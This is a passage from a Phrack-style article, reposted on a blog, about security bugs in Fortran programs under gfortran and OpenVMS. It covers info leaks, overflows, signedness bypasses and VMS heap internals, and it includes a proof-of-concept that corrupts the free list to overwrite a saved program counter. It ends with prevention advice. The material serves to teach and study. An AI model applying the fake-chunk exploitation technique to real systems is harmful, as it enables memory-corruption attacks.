  END DO
  write(*,*) J, XXXX
  END PROGRAM
 $ gfortran uninitialized.f90
 $ ./a.out 
    148818352 -1215630400
 $ ./a.out 
    135645616 -1215855680
 -----END UNINITIALIZED 1-----

The compiler did not complain whereas J and XXXX were clearly not properly
set. Thanks to the ASLR we have the proof that there is no default value
which results in an information leak of the stack.

Information leak
----------------

There are a lots of possible situations in which an info leak could occur.
I've found a couple of them and there are probably even more.

   *) The (in)direct access to uninitialized data. This situation is the
      direct consequence of what was explained previously.

   *) As said in Chap 3.1, in a few situations you will be able to control 
      the index used to access arrays or strings. Now depending on the 
      nature of the access (read or write) you will either have an info 
      leak or a memory corruption.

      The following example is a perfect illustration:

 -----BEGIN LEAK 1-----
 $ cat leak1.f90 
  PROGRAM LEAK
  INTEGER :: C(10)
  C = Z'41414141'
  DO I=0,size(C)-1
   write(*,*) C(I)
  END DO
  END PROGRAM
 $ gfortran leak1.f90
 $ ./a.out 
     1   <-- C(0) is out of bounds
   1094795585
   1094795585
   1094795585
   1094795585
   1094795585
   1094795585
   1094795585
   1094795585
   1094795585
 $
 -----END LEAK 1-----

   *) Something which is sometimes not well understood is the string
      initialization. This could turn to our advantage :)

 -----BEGIN LEAK 2-----
 $ cat leak2.f90 
  PROGRAM leak2
  CHARACTER(len=20) :: S
  S(1:4) ='AAAA'
  write(*,*) S
  END PROGRAM
 $ gfortran leak2.f90 
 $ ./a.out 
  AAAA....    <-- info leak
 -----END LEAK 2-----

      The mistake in the previous code was to use an index for 
      initialization purpose. Indeed the proper way would be to do:
      S = 'AAAA' which would set the 4 first characters to 'A' and the 16
      remaining to ' ' (the space character as there is no use of '\0' in
      Fortran).

      Note that Phrack publications are intrinsically not compatible with
      info leaks due to 7bits ASCII constraints. OK OK lame joke, forgive
      me ;-)

                                    ---

---[ 4 - Back to the good ol' OpenVMS friend

For the vast majority of post 80s hackers, OpenVMS is without a doubt a 
strange beast. It's not UNIX and the DCL syntax seems insane (in fact it is
as it could take you a while to figure out how to change the current path).
But contrary to other old and insanely fucked OS like AIX (hey now you have
a non exec stack! So _impressive_ ... ), it's an interesting challenge to 
hack it.

People may argue that it's also so specific that you might never cross one
in your lifetime so why choosing it? Hum. Let's say that:

   *) it's not _that_ rare. Though you may probably not see lots of them on
      the Internet, there are still a plenty of them in production [R8].
      
   *) it's one of the few platforms really using Fortran nowadays. UNIX
      itself though useful for teaching purpose is not representative.

   *) both the OS, the architecture (alpha, itanium), and the compiler (HP)
      are different. A differential will help us to find out the bug
      classes that may be platform dependant.

A recent and interesting blackhat presentation gave the first clues about
how to exploit basic overflows on this OS [R9]. This will not be repeated
though the special case of heap overflow is detailed in Chap 4.2.

Notes: 

   *) I tried as much as possible not to refer to the Alpha asm as it's 
      really ugly (and deadlisting are too much verbose unfortunately). The 
      readers willing to become familiar with this architecture should read
      the excellent [R12].

   *) If you want to experiment OpenVMS, I recommend you to play with the
      excellent "Personal Alpha" which is able to run OpenVMS iso. Another
      interesting solution is to play with free shells such as the ones 
      provided by the Deathrow OpenVMS cluster (thx guyz btw) [R20].

---[ 4.1 - Common Fortran bugs .vs. OpenVMS

Let's get straight to the point: almost every type of bugs presented also
exists with the VMS compiler. However, due to the implementation of the
language, a few differences exist.

Note: The tests were performed on OpenVMS 8.3 (Alpha architecture).

The stack overflow case
-----------------------

Let's play with the (slightly modified) 'CAST 2' example:

 -----BEGIN VMS STACK OV 1-----
$ type cast2.f90
 SUBROUTINE dump(S)
 CHARACTER(len=20) :: S
 S = 'AAAA'
 write(*,fmt='(A,A)') ' S=',S
 END SUBROUTINE
 PROGRAM cast2
 CHARACTER(len=10) :: X
 X = 'ZZZZZZZZZZZ'
 write(*,fmt='(A,Z10)') '\&X=', %LOC(X)
 CALL dump(X)
 END PROGRAM
$ fort cast2
$ lin cast2
$ r cast2       
&X=     40000       <-- the local buffer is _not_ on the stack
S=AAAA
 -----END VMS STACK OV 1-----

So there is no crash and the local buffer is not a stack buffer. Let's dig
a little bit more with the debugger:

 -----BEGIN VMS STACK OV 2-----
$ r /debug cast2
[...]
DBG> go
&X=     40000
S=AAAA                
%DEBUG-I-EXITSTATUS, is '%SYSTEM-S-NORMAL, normal successful completion'
DBG> dump /hex %hex 40000:%hex 40080
 20202020 20202020 20202020 41414141 AAAA             0000000000040000
 00000000 00000000 00000000 20202020     ............ 0000000000040010
 00000000 00000000 00000000 00000000 ................ 0000000000040020
[..] 
 -----END VMS STACK OV 2-----

OK so there is an overflow since 20 bytes are written but it's _not_ a 
'stack' overflow. Troublesome isn't it? Can we exploit it since we cannot 
corrupt the saved registers? Hum. I would say that the exploitation of such
a bug is without a doubt heavily dependant of the context. If metadata can 
be overwritten then there may be a way to exploit the program, if not it 
seems quite unlikely... :<  

The implicit typing
-------------------

Let's quote the "HP Fortran for OpenVMS Language Reference Manual":

                                    ---
                     Chap 3.5.1.2 Implicit Typing Rules

"By default, all scalar variables with names beginning with I, J, K, L, M, 
or N are assumed to be default integer variables. Scalar variables with 
names beginning with any other letter are assumed to be default real 
variables. [...]"
                                    ---

As a result, if the documentation is correct, there should be an overflow.
Let's verify it:

 -----BEGIN IMPLICIT TYPE 3-----
$ type implicit_typing3.f90
 SUBROUTINE set(I)
 write(*,*) 'How much do u want to read dude ?'
 read(*,*) I
 END SUBROUTINE

 PROGRAM IMPLICIT_TYPING
 IMPLICIT NONE
 INTEGER(1) :: A, B
 A = 0
 B = 0
 write(*,fmt='(A,Z10),(A,Z20)') ' A=',A , '\&A=', %LOC(A)
 write(*,fmt='(A,Z10),(A,Z20)') ' B=',B , '\&B=', %LOC(B)
 CALL set(B)
 B = B + 140
 write(*,*) 'A=',A,'B=',B
 END PROGRAM
$ fort implicit_typing
$ lin implicit_typing
$ r /debug implicit_typing
[...]
DBG> go
A=         0
&A=     40008                                                          [L1]
B=         0
&B=     40000                                                          [L2]
How much do u want to read dude ?
2147483647
A=    0 B= -117                                                        [L3]
%DEBUG-I-EXITSTATUS, is '%SYSTEM-S-NORMAL, normal successful completion'
DBG> dump /hex %hex  40000 : %hex 40010
 00000000 00000000 00000000 7FFFFF8B ................ 0000000000040000 [L4]
                            00000000 ....             0000000000040010
 -----END IMPLICIT TYPE 3-----

    *) Since &A - &B = 8, an overflow of at least 9 bytes would be required
       to corrupt A from B ([L1],[L2]).

    *) The memory dump proves that the implicit behavior is exactly what is
       described in the reference manual [L4].

    *) Unless the compiler was smart enough to allocate space on the stack
       to prepare the manipulation in set(), there is clearly an overflow
       as B is definitely a 1 byte buffer in the MAIN_() [L3].

The signedness issue
--------------------

As stated earlier, Fortran's integers are signed which means that it's not
possible to have signedness bugs unless there is a cast induced by an 
external function call.

Let's see a short example using the LIB$MOVC3() function wich is similar to
the memcpy() from libc:

  -----BEGIN SIGNED 1-----
 SUBROUTINE copy(S,L)
 INTEGER(2)  L
 CHARACTER D(80)  ! Destination buffer
 CHARACTER*(*)  S
 write(*,fmt='(A,Z10),(A,Z20)') ' Len=',L , '\&Len=', %LOC(L)
 write(*,fmt='(A,Z10),(A,Z20)') '\&D=', %LOC(D), '\&S=',%LOC(S)
 
 ! This C function will perform the copy 
 CALL LIB$MOVC3(L,%REF(S),%REF(D))                       [L2]
 write(*,*) 'D is ', D
 END SUBROUTINE

 PROGRAM CMOOV
 CHARACTER(16)  Guard0
 CHARACTER(80) S
 CHARACTER(16)  Guard1
 INTEGER(2) length
 
 write(*,fmt='(A,Z10)') '\&Guard0=',%LOC(Guard0)
 write(*,fmt='(A,Z10)') '\&Guard1=',%LOC(Guard1)
 write(*,*) '1. Buffer string?'
 read(*,*) S
 write(*,*) '2. String len?'
 read(*,*) length
 
 ! Secure check
 IF (length .gt. 80) THEN                                [L1]
  write(*,*) 'S is too long man ...', length
  STOP
 END IF

 DO I=1,len(Guard0)
   Guard0(I:I) = 'Y'
   Guard1(I:I) = 'Z'
 END DO

 write(*,*) '3. Copying ... '
 CALL copy(S,MIN(len_trim(S),length))
 
 END PROGRAM
  -----END SIGNED 1-----

    *) A security check is performed in [L1]. However due to the signedness
       issue, a user may be able to bypass it by suppling a negative value.

    *) The copy function is called with the negative size [L2].

As expected, LIB$MOVC3() implicitly castes the integer as unsigned and if a
negative length is supplied, a crash occurs.

  -----BEGIN SIGNED 2-----
$ r /debug MOVC3
[...]
DBG> go
&Guard0=     40068
&Guard1=     40058
1. Buffer string?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2. String len?
16                                   <-- let's first copy 16 bytes
3. Copying ... 
Len=        10
&Len=  7AE3DA58                      <-- stack address
&D=     40000                        <-- global data address 
&S=     40078                        <-- global data address
D is AAAAAAAAAAAAAAAA                <-- copy was successful

%DEBUG-I-EXITSTATUS, is '%SYSTEM-S-NORMAL, normal successful completion'
DBG> dump /hex %hex 40000:%hex 40100
 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0000000000040000
 00000000 00000000 00000000 00000000 ................ 0000000000040010
 00000000 00000000 00000000 00000000 ................ 0000000000040020
 00000000 00000000 00000000 00000000 ................ 0000000000040030
 00000000 00000000 00000000 00000000 ................ 0000000000040040
 5A5A5A5A 5A5A5A5A 00000000 00000010 ........ZZZZZZZZ 0000000000040050
 59595959 59595959 5A5A5A5A 5A5A5A5A ZZZZZZZZYYYYYYYY 0000000000040060
 41414141 41414141 59595959 59595959 YYYYYYYYAAAAAAAA 0000000000040070
 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0000000000040080
 20202020 20202020 41414141 41414141 AAAAAAAA         0000000000040090
 20202020 20202020 20202020 20202020                  00000000000400A0
 20202020 20202020 20202020 20202020                  00000000000400B0
 00000000 00000000 20202020 20202020         ........ 00000000000400C0
 00000000 00000000 00000000 00000000 ................ 00000000000400D0
 00000000 00000000 00000000 00000000 ................ 00000000000400E0
 00000000 00000000 00000000 00000000 ................ 00000000000400F0
                            00000000 ....             0000000000040100
[...]
DBG> go
&Guard0=     40068
&Guard1=     40058
1. Buffer string?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2. String len?
-1
3. Copying ... 
Len=      FFFF         <--- We are requesting a 65535 bytes copy
&Len=  7AE3DA58
&D=     40000
&S=     40078
%SYSTEM-F-ACCVIO, access violation, reason mask=00, 
virtual address=0000000000042000, PC=FFFFFFFF80C85234, PS=0000001B
[...]
DBG> dump /hex %hex 40000:%hex 40100
 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0000000000040000
 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0000000000040010
 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0000000000040020
 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0000000000040030
 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0000000000040040
 00000000 00000000 00000000 00000000 ................ 0000000000040050
 00000000 00000000 00000000 00000000 ................ 0000000000040060
 00000000 00000000 00000000 00000000 ................ 0000000000040070
 00000000 00000000 00000000 00000000 ................ 0000000000040080
 00000000 00000000 00000000 00000000 ................ 0000000000040090
 00000000 00000000 00000000 00000000 ................ 00000000000400A0
 00000000 00000000 00000000 00000000 ................ 00000000000400B0
 00000000 00000000 00000000 00000000 ................ 00000000000400C0
 00000000 00000000 00000000 00000000 ................ 00000000000400D0
 00000000 00000000 00000000 00000000 ................ 00000000000400E0
 00000000 00000000 00000000 00000000 ................ 00000000000400F0
                            00000000 ....             0000000000040100
  -----END SIGNED 2-----

Comparing the difference between both executions, it's easy to see that the 
overflow was effective as Guard0, Guard1, S and even length were 
overwritten. The crash occurs during the copy because of the guard page 
located at 0x42000 (the page is not mmaped). This case is probably not 
exploitable but is sufficient to prove the reality of signedness bugs on
a VMS environnement.

Is such a situation likely to happen? Fortunately, yes. Indeed, HP is nice 
enough to make easy the use of the VMS API in every supported language. For
example you will see countless examples in the official documentation 
explaining how to call VMS functions when programming in Fortran, VAX asm, 
C, etc. A bit of googling confirmes it.


---[ 4.2 - Playing with the heap

Like I said before, OpenVMS developers usually tend (even in Fortran) to
use the VMS native RTL API which is far more granular than the classical C
malloc/free functions [R13]. However, ALLOCATE() and DEALLOCATE() could be
chosen for portability purpose which is why we focus on them in this study.

What will be shown below are the global algorithms behind malloc/free and
ALLOCATE/DEALLOCATE as they are almost the same (if not exactly the same).
More generally, it is believed that this result could easily be transposed
to the VMS kernel heap [R14] though the adaptation itself is left as an
exercise for the reader.

Understanding the VMS malloc/free API
-------------------------------------

Unallocated memory is grouped into "bins" of (almost) similar sizes,
implemented by using a single-linked list of chunks (with a pointer stored
in the unallocated space inside the chunk) as illustrated below:

     +-------+     +-------+     +-------+
     | Bin X |---->| Chunk |---->|  0x0  |
     +-------+     +-------+     +-------+
     |  ...  |
     +-------+     +-------+     +-------+     +-------+     +-------+
     | Bin Y |---->| Chunk |---->| Chunk |---->| Chunk |---->|  0x0  |
     +-------+     +-------+     +-------+     +-------+     +-------+
     |  ...  |
     +-------+     +-------+
     | Bin Z |---->|  0x0  |
     +-------+     +-------+

In this particular case, at least 4 free() have already been performed. Now
let's have a look at the chunk 'returned' by malloc(): 


                             4 bytes
             <------------------------------------->
                                 
                                 <-------->
                                   1 byte

    chunk -> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
             |                 SIZE                |
             +-------------------------------------+
             |   tag = 0xF00D   |  Bin_ID |  0x00  |
      mem -> +-------------------------------------+
             |                                     |
             .                                     .
             .                  DATA               .
             .                                     .
             |                                     |
             + + + + + + + + + + + + + + + + + + + +
             
With :

   *) SIZE: the size of the chunk in bytes. It may be rounded.
   *) 0xF00D: a tag which indicates that the chunk is allocated.
   *) Bin_ID: The ID of the Bin corresponding to the allocated SIZE.
   *) mem: the pointer returned by malloc() or ALLOCATE().

If the user performs a free() or a DEALLOCATE() on this chunk, a slight 
modification occurs:

                             4 bytes
             <------------------------------------->
                                 
                                 <-------->
                                   1 byte

    chunk -> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
             |                 SIZE                |
             +-------------------------------------+
             |   tag = 0x7777   |  Bin_ID |  0x00  |
      mem -> +-------------------------------------+
             |               NEXT_MEM              |
             +-------------------------------------+
             |                                     |
             .                                     .
             .         free (uncleaned) space      .
             .                                     .
             |                                     |
             + + + + + + + + + + + + + + + + + + + +

With:

   *) SIZE and Bin_ID being unchanged.
   *) 0x7777: a tag indicating that the chunk is not allocated anymore.
   *) NEXT_MEM: a pointer to the next chunk's mem of the same bin. It can
      be the NULL pointer if there is no more free chunks in the list.

Note: It may sound silly not to point to the next 'chunk' directly but 
that's how things are done friends.

The free() algorithm is somewhat basic and can essentially be described 
using the following pseudo code:

  -----BEGIN free()-----
 free(void *p):
                CHUNK *c, *head; 
                c = chunk_from_mem(p);
                c->tag = 0x7777;
  head = get_head_from_chunk(c);              [L1]
  c->NEXT_MEM = head->first;                  [L2]
  head->first = c;                            [L3]
 -----END free()-----

So in the end, a free() is 'almost' equivalent to an element insertion in a
single list. In practice, the real allocator may well be a bit more complex
as I didn't investigate the chunks splitting/fusion mechanisms (if any).
Note that a free()ed chunk will become the first of the corresponding 
single chained list, something to keep in mind.

The malloc() function is pretty straightforward:  

  -----BEGIN malloc()-----
 void *malloc(size_t s):
  CHUNK *c, *head;
  size_t s_new = ROUND(s);
  head = get_head_from_size(s_new);            [M1]

  if(!head->first)
  {
   [...]
  }

  c = head->first;        [M2]
  c->tag = 0xF00D;                             [M3]
  head->first = c->NEXT_MEM;                   [M4]
  return (mem_from_chunk(c));
 -----END malloc()-----

A malloc() is the removal of a chunk from the corresponding chained list.
Note that the first chunk of the list will be the first to be removed. If
the list is empty, a special treatment is performed but we don't care about
that.

Taking advantage of the overflow
--------------------------------

Exploiting an heap overflow can be done using at least two techniques:

   *) The (partial) overwrite of metadata stored on the heap. Depending on
      where and how much you can overflow, this might be interesting 
      especially since function pointers could be stored there.

   *) The fake chunk insertion. The idea is to make malloc returning an 
      address pointing to a chosen area (like the stack). The normal use
      of the buffer will then lead to the control of the process.

Since the first technique is no news, let's see how to perform the second
one. In order to do that, we'll play with following C code:

  -----BEGIN HEAP VMS 1-----
 // Allocation
 int *p = malloc(100);
 int *q = malloc(100);
 memset(p, 0x41, 100);
 memset(q, 0x42, 100);
 free(q);                              [N1]
 // heap overflow
 memcpy(p, user_buff, user_size);      [N2]
  -----END HEAP VMS 1-----

In order to simplify things, we'll assume that there was no previous
allocation in the same BIN. Let's visualize the heap layout:

 Before [N1]  Before [N2]  After [N2]

 [ 00000070 ]         [ 00000070 ]  [ 00000070 ]
 [ f00d3d00 ]  [ f00d3d00 ]  [ f00d3d00 ]
  p ->  [ 41414141 ]  [ 41414141 ]  [ 41414141 ]
        [ 41414141 ]  [ 41414141 ]  [ 41414141 ]
        [ 41414141 ]  [ 41414141 ]  [ 41414141 ]
        [ 41414141 ]  [ 41414141 ]  [ 41414141 ]
 [   ...    ]  [   ...    ]  [   ...    ]
 [ 00000070 ]  [ 00000070 ]  [ 55555555 ]
 [ f00d3d00 ]  [ 77773d00 ]   user -> [ 55555555 ]
  q ->  [ 42424242 ]  [ 00000000 ]  supplied  [ 00000000 ]
        [ 42424242 ]  [ 42424242 ]  pointer [ 42424242 ]

Now regarding the associated linked list, we have the following evolution:

      +------------+     +------------+
  1.  |  Bin 0x3d  |---->| 0x00000000 |
      +------------+     +------------+

      +------------+     +------------+     +------------+
  2.  |  Bin 0x3d  |---->|      q     |---->| 0x00000000 |
      +------------+     +------------+     +------------+

      +------------+     +------------+     +------------+
  3.  |  Bin 0x3d  |---->|      q     |---->| 0x55555555 |
      +------------+     +------------+     +------------+

As a result, the linked list of our bin is corrupted and q->NEXT_MEM is 
user supplied. To prove that fact, we can dereference q->NEXT_MEM as it 
will lead to a program crash. This is possible thanks to [M4] if two 
malloc(100) are performed after the corruption:

  -----BEGIN HEAP VMS 2-----
VMS $ r POC
[...]
0000447d0:  41414141 41414141 41414141 41414141
0000447e0:  41414141 41414141 41414141 41414141
0000447f0:  41414141 41414141 41414141 41414141
000044800:  41414141 55555555 55555555 f00d5555        [O1]
000044810:  55555555 42424242 42424242 42424242
000044820:  42424242 42424242 42424242 42424242
000044830:  42424242 42424242 42424242 42424242
000044840:  42424242 42424242 42424242 42424242
[...]
%SYSTEM-F-ACCVIO, access violation, [...] virtual address=0000000055555555
%TRACE-F-TRACEBACK, symbolic stack dump follows
  image    module    routine        line      rel PC           abs PC      
 LIBRTL                                0 000000000000610C FFFFFFFF80C2E10C
 LIBRTL                                                 ?                ?
 DECC$SHR_EV56                         0 0000000000052710 FFFFFFFF80DDE710
 DECC$SHR_EV56                                          ?                ?
 POC  POC  main                     4210 00000000000003BC 00000000000203BC
 POC  POC  __main                   4128 000000000000006C 000000000002006C
 -----END HEAP VMS 2-----

It's interesting to see that _fortunately_ size doesn't matter ;). Indeed
free() is not 'really' looking at what's written in the corrupted chunk's 
header [O1] (size, allocation tag, ...). Great for us it makes things even
easier.

However something really important is that the corruption would seemingly 
not have been possible if q was allocated as:

   *) if q was allocated then it wouldn't be part of the list.
   *) and if q was free()ed _after_ the corruption then q->NEXT_MEM would 
      naturally be overwritten by free(). 

There might be a way to trick the allocator so that an arbitrary free() is
performed but I couldn't find any way to do that probably because my 
knowledge of the allocator algorithm is rather limited.

At that point, we've almost won as we successfully inserted a fake chunk
in the linked list. As a result, writing will be performed at a user 
supplied address. However depending on the context, we may or may not be 
able to sufficiently control _what_ will be written:

   *) If we cannot control the payload then a F00D delivery is still 
      possible thanks to [M3]. If we can make the program perform the two 
      necessary allocations, then the program will write 0xF00D at 'addr' 
      if NEXT_MEM is overwritten with 'addr+2'. If you plan to exploit the
      least significant bits of a pointer then you can probably improve the
      technique with an F0 overwrite if the data located immediately before 
      can be partially corrupted.

      Note: Starving hackers would probably have thought of turning F00D 
      into 0D but remember that Alpha is big endian.

   *) If we can control the payload, then the best way is probably to 
      overwrite the PC address saved on the stack (there is no ASLR folks).
      Back on our feets [R9]:

  -----BEGIN HEAP VMS 3-----
VMS $ type poc.F90
        PROGRAM POC
        INTEGER(4), POINTER :: P(:)
        INTEGER(4), POINTER :: Q(:)
        INTEGER(4), POINTER :: M(:)
        INTEGER(4), POINTER :: P2(:)
        INTEGER(4)          :: I

        ALLOCATE(P(100))
        ALLOCATE(Q(100))

        ! Debugging purpose
        P = 'AAAA'
        Q = 'BBBB'
        write(*,fmt='(A,Z10)') ' P=',%LOC(P)
        write(*,fmt='(A,Z10)') ' Q=',%LOC(Q)

        P2 => P
        DEALLOCATE(Q)

        ! Fake heap overflow
        P2(101) = Z'55555555'
        P2(102) = Z'55555555'
        P2(103) = Z'55555555'
        P2(104) = Z'55555555'
        P2(105) = Z'7AE3D910' + 100 ! fixed to work ;)

        write(*,*) "******** AFTER CORRUPTION ************"
        ALLOCATE(M(100))
        write(*,*) "******** AFTER MALLOC 1 ************"
        
        ALLOCATE(M(100))
        write(*,fmt='(A,Z10)') ' FAKE CHUNK AT ',%LOC(M)
        ! Simulating a user supplied payload
        DO I=1,80
                M(I) = Z'44444444'
        END DO
        END PROGRAM
VMS $ FORT poc
VMS $ LIN poc
VMS $ r poc
P=     52008
Q=     521A8
******** AFTER CORRUPTION ************
******** AFTER MALLOC 1 ************
FAKE CHUNK AT   7AE3D974
%SYSTEM-F-ACCVIO, [...] PC=4444444444444444, PS=0000001B
%TRACE-F-TRACEBACK, symbolic stack dump follows
  image    module    routine         line      rel PC           abs PC      
                                        0 4444444444444444 4444444444444444
  -----END HEAP VMS 3-----

Note: The stack address is hardcoded but this is not a big issue as there
is no ASLR :).

One step further
----------------

OK a few more things and we're done with OpenVMS (anyway at that point 
you're probably either sleeping already or reading a much more interesting
article of this issue ;)).

1) I came across this funny thing while reading HP's documentation [R11]:

                                    ---
              Chap 5.9.5 2-GB malloc No Longer Fails Silently

The C RTL malloc function accepts an unsigned int (size_t) as its 
parameter. The LIB$VM_MALLOC action accepts a (positive) signed integer as 
its parameter. Allocating 2 GB (0x80000000) did not allocate the proper 
amount of memory and did not return an error indication. A check is now 
added to the malloc, calloc, and realloc functions for sizes equal to or 
greater than 2 GB that fail the call.
                                    ---

WOWOWOWO jackpot :) Who said this _could_ have security consequences? ;> 

2) I investigated the ALLOCATE(size) issue under OpenVMS Alpha 8.3 and the
result is that if size <= 0 and size >= -0x80000000 then the address 0x100 
is returned (if size < -0x80000000 an input conversion occurs 
(%FOR-F-INPCONERR)).

Since the 0x100 address is not mmaped, the only way to exploit this 
situation would be to dereference the pointer using a sufficiently great 
index to access user controlled data. While this is theoretically feasible 
since memory regions are mmaped at low addresses, a practical case has yet 
to be found.

                                    ---

---[ 7 - Prevention: lets use a condom

Now is the time to think about how to avoid security troubles with Fortran
programs. In order to do that, several things (more or less effective) can 
be done:

    *) A careful review of the source code. Believe me, it's not that easy.
       To properly perform that, you have to know the language deeply and 
       being well aware of its weaknesses. Depending on your level of 
       mastery, bugs may still be left as Fortran really is a vicious 
       language. Mastering this paper for example is probably far from 
       being enough.

    *) The study of your Fortran compiler. Try to find what kind of bugs 
       are likely to be found/exploited with your compiler. A good starting
       point is probably to have a look at the "Compiler Diagnostic Test 
       Sets" project [R17]. Not only will you find accurate information
       about several compilers but you will also find new kind of bugs
       (though not always security related) as well as a precious test set.

    *) Read the manpage of your compiler to see if compile/runtime extra 
       security checks could be performed. Let me show you an example.
       Remember that in Chap 3.1 I gave the following example:

 -----BEGIN OVERFLOW 1-----
 $ cat overflow1.f90
  PROGRAM test
  CHARACTER(len=30) :: S  ! String of length 30
  INTEGER(4) I
  S = 'Hello Phrack readers!'
  read(*,*) I
  S(I:I) = '.'
  write(*,*) S
  END PROGRAM
 $ gfortran overflow1.f90
 $ ./a.out
  He.lo Phrack readers!      <-- S was modified with 0x2E
 $ gdb ./a.out
        [...]
 (gdb) r
 Starting program: a.out
 50                          <-- 50 is clearly out of scope! (>30)
 Breakpoint 1, 0x080487be in MAIN__ ()
 (gdb) print /d $eax
 $1 = 50
 (gdb) c
 Hello Phrack readers!
 Program received signal SIGSEGV, Segmentation fault.
 0x2e04885b in ?? ()         <-- EIP was corrupted with 0x2E
 -----END OVERFLOW 1-----

       Now let's see what happens when the '-fbounds-check' option is used:

 -----BEGIN OVERFLOW 2-----
 $ gfortran overflow1.f90 -fbounds-check
 $ ./a.out
        [Type 50]
 At line 7 of file overflow1.f90
 Fortran runtime error: Substring out of bounds: upper bound (50) of
        's' exceeds string length (30)
        $ ./a.out
        [Type -1] 
 At line 7 of file overflow1.f90
 Fortran runtime error: Substring out of bounds: lower bound (-1) of
        's' is less than one
 -----END OVERFLOW 2-----

       As expected, the program now includes runtime checks. Depending on 
       the bug class, the compiler may have a specific option to prevent or
       detect it. RTFM.

    *) Static analysis. Well to be honest I didn't investigate it at all.
       While digging for this article, I came across a couple of opensource
       projects as well as commercial implementations (sorry NO ADVERTISING
       in PHRACK dudes).
       
       While I didn't test any of them, I can imagine that there may 
       effective ones as some kind of bugs would really be easy to spot 
       using for example type checking (first thing that comes to my mind).
       Anyway it's just mere speculation. Either test it or forget it. Like
       we care anyway.

Sometimes a condom is not enough. The best for you is probably not to use 
this insanely fucked language. Once again, who cares about Fortran anyway?

          [ http://www.fortranstatement.com/cgi-bin/petition.pl ]

                                    ---

---[ 8 - The final words

There would have been a lot more to add (studying other compilers/arch) but 
unfortunately time is running out and I would rather not make the paper 
more boring than it currently is ;) Anyway as far as I can tell, the 
essential is covered and with that in mind and a bit of practice, I expect
you to be able to quickly find new bugs.

Hackers dealing with/busting/exploiting bugs in Fortran programs are 
so rare in our World that I bet that none of you had ever heard a word 
about Fortran's security issues. Nowadays people are more focused on 
languages such as PHP, Java or .NET which is normal for obvious reasons. 
Now it doesn't mean that other languages are not interesting too and you 
never know when appropriate knowledge becomes handy. History proved that 
bugs not always occurred in the 'daily' hacking playground (C/PHP, 
Unix/Windows) [R19] so why would we restrain ourselves?

Not convinced? OK allow me to alter the smart thoughts of a fellow p67 
writer: "We hack Fortran just because we can. We don't really need a reason
anyway as soon as bugs are there, we are there."

                                    ---

---[ 8 - Greetz

My first thoughts are for all talented hackers with whom I had so much to
share all these years. May you guys never lose that spirit of yours nor
your ethics [R15]. Special thanks to the Phrack staff for their help, 
advise and review.

Now and because alone life would have no meaning, special thanks to my
friends not only for being there but also for being able to support me
especially when I'm *cranky* as hell :')

Special apologize to the great guys of the FHC (Fortran High Council). Just
for once I wanted to be as cool as king-fag-c0pe though it probably means 
that it's a matter of days before witnessing the bust of all cool Fortran 
0dayZ on FD :((( Don't be afraid sysadmins, thanx to gg security folks 
everything will be done in a 'responsible' way [R16] ;>

Also thanks to all of you who will nominate this paper at the 2011 pwnies 
award as the "most innovative research paper" ;>

                                    ---

---[ 9 - Bibliography

[R1]  http://onepiece.wikia.com/wiki/Buggy
[R2]  Fortran90, ISO/IEC 1539
[R3]  http://gcc.gnu.org/onlinedocs/gfortran/
[R4]  HP Fortran for OpenVMS - Language Reference Manual, HP
[R5]  Shifting the Stack Pointer, andrewg, Phrack #63
[R6]  Basic Integer Overflows, Blexim, Phrack #60
[R7]  http://www.cs.rpi.edu/~szymansk/OOF90/bugs.html
[R8]  http://h71000.www7.hp.com/success-stories.html
[R9]  Hacking OpenVMS, C. Nyberg, C. Oberg & J. Tusini, Defcon16
[R10] http://www.cisl.ucar.edu/tcg/consweb/Fortran90/scnpoint.html
[R11] HP OpenVMS Version 8.3 Release Notes, HP
[R12] Alpha Assembly Language Guide, R.Bryant, Carnegie Mellon University
[R13] http://labs.hoffmanlabs.com/node/401
[R14] OpenVMS Alpha Internals and Data Structures: Memory Management, HP
[R15] Industry check, ZF0 #5
[R16] http://googleonlinesecurity.blogspot.com/2010/07/rebooting-
      responsible-disclosure-focus.html (lol)
[R17] http://ftp.cac.psu.edu/pub/ger/fortran/test/results.txt
[R18] http://www.fortranstatement.com
[R19] http://www5.in.tum.de/persons/huckle//horrorn.pdf
[R20] http://deathrow.vistech.net

 
 
 

Free Template »

About Me »

My Photo
ph4rck m494zin3
Seorang Anak Manusia yang ingin mengemis di dunia maya supaya dapat membahagiakan kedua orang tua tercinta,, tak peduli apapun profesi yang penting bisa mendapatkan uang dengan menggunakan cara yang halal,,, ScreamCode (Shanelly-COrp)
View my complete profile
 
Copyright © ph4rck m494zin3 Powered by: Blogger.com
Template By: Ikhsan Hafiyudin